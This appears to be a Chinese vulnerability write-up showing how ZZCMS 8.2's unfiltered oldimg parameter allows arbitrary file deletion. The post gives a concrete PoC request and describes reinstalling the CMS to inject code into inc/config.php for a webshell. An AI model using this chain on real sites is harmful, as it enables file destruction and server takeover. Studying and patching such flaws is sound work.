ZZCMS8.2任意文件删除至getshell(每日一洞)
前言
今天就审计一个洞,时间不够用了。明天或者周末看看有空有拿一些难的漏洞来审计复现一下。
环境
Web: Apache+PHP+MySql System: Ubuntu Browser: Firefox Quantum
漏洞详情
任意文件删除
文件位置:/user/licence_save.php
代码:
$title=trim($_POST["title"]);$img=trim($_POST["img"]);if ($_GET["action"]=="add"){query("Insert into zzcms_licence(title,img,editor,sendtime) values('$title','$img','$username','".date('Y-m-d H:i:s')."')") ;}elseif ($_GET["action"]=="modify"){$oldimg=trim($_POST["oldimg"]); $id=$_POST["id"]; if ($id=="" || is_numeric($id)==false){ $FoundErr=1; $ErrMsg="<li>". $f_array[0]."</li>"; WriteErrMsg($ErrMsg); }else{ query("update zzcms_licence set title='$title',img='$img',sendtime='".date('Y-m-d H:i:s')."',passed=0 where id='$id'"); if ($oldimg<>$img && $oldimg<>"/image/nopic.gif"){ $f="../".$oldimg; if (file_exists($f)){ unlink($f); } $fs="../".str_replace(".","_small.",$oldimg).""; if (file_exists($fs)){ unlink($fs); } } }}- 我们可以看到如果从
$_GET传值过来如果是modify,那么就执行下面的内容。 $oldimg=trim($_POST["oldimg"]);把$_POST过来的oldimg用trim去点两边的空格之后赋值给$oldimg- 接下来这些不用理会,直到
if ($oldimg<>$img && $oldimg<>"/image/nopic.gif")这句判断,$img是上面$_POST过来的,填其他值就不等于了,然后我们的文件名也不会等于/image/nopic.gif $f="../".$oldimg;跳到主目录然后接上我们的要传过来的文件路径和文件名if (file_exists($f)){unlink($f);}这句file_exists判断文件是否存在,存在就用unlink删除文件。- 中间没有做任何的过滤。。。

构造POC
我们要把这些$_POST和$_GET的值都加上,要不然PHP会报错不执行下去。
$_GET["action"]=="modify"$oldimg=trim($_POST["oldimg"])$id=$_POST["id"]$title=trim($_POST["title"]);$img=trim($_POST["img"]);最终的POC: GET:http://www.zzcms.test/user/licence_save.php?action=modifyPOST:title=1&img=1&oldimg=install/test.php&id=1
重装getshell
文件位置: /install/index.php
代码:
<?phpswitch($step) { case '1'://协议 include 'step_'.$step.'.php'; break; 中间省略。。。。。case '5'://安装进度 function dexit($msg) { echo '<script>alert("'.$msg.'");window.history.back();</script>'; exit; }
$conn=connect($db_host,$db_user,$db_pass,'',$db_port); if(!$conn) dexit('无法连接到数据库服务器,请检查配置'); $db_name or dexit('请填写数据库名'); if(!select_db($db_name)) { if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库'); }
//保存配置文件 $fp="../inc/config.php"; $f = fopen($fp,'r'); $str = fread($f,filesize($fp)); fclose($f); $str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ; $str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ; $str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ; $str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ; $str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ; $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ; $str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ; $f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数 fputs($f,$str);//把替换后的内容写入文件 fclose($f); //创建数据 include 'step_'.$step.'.php'; break;过程分析
- 这段传入的
step的值是什么就包含目录下这个文件。
switch($step) { case '1'://协议 include 'step_'.$step.'.php';- 这段有个函数,执行这个
dexit的函数就会弹出$msg内容的信息框. 然后检查数据库是否能连接成功,如果不行就执行上面dexit这个函数。 这里要检验数据库连接才可以到下面的文件写入,这里可以利用http://www.freebuf.com/vuls/161888.html这里面的8.2的SQL注入漏洞去获取数据库的信息即可。
function dexit($msg) { echo '<script>alert("'.$msg.'");window.history.back();</script>'; exit; } $conn=connect($db_host,$db_user,$db_pass,'',$db_port); if(!$conn) dexit('无法连接到数据库服务器,请检查配置'); $db_name or dexit('请填写数据库名'); if(!select_db($db_name)) { if(!query("CREATE DATABASE $db_name")) dexit('指定的数据库不存在\n\n系统尝试创建失败,请通过其他方式建立数据库'); }- 这里替换就分析可控那一句就行了,因为数据库那些都要检验。
大家可能会疑问,为什么这个文件翻来翻去都没见这些变量
get和post过来啊。大家往上面看就可以看到这两句,把get和post的值都变成变量了。
下面就是打开文件,读入内容,然后最下面这句就是替换内容了。
//保存配置文件 $fp="../inc/config.php"; $f = fopen($fp,'r'); $str = fread($f,filesize($fp)); fclose($f); $str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;- 到这里就分析完了,下面就开始写入内容了。很简单,就闭合然后注释后面的就行了。

然后访问地址:http://www.zzcms.test/inc/config.php

结束
大家晚安,早睡点休息哈!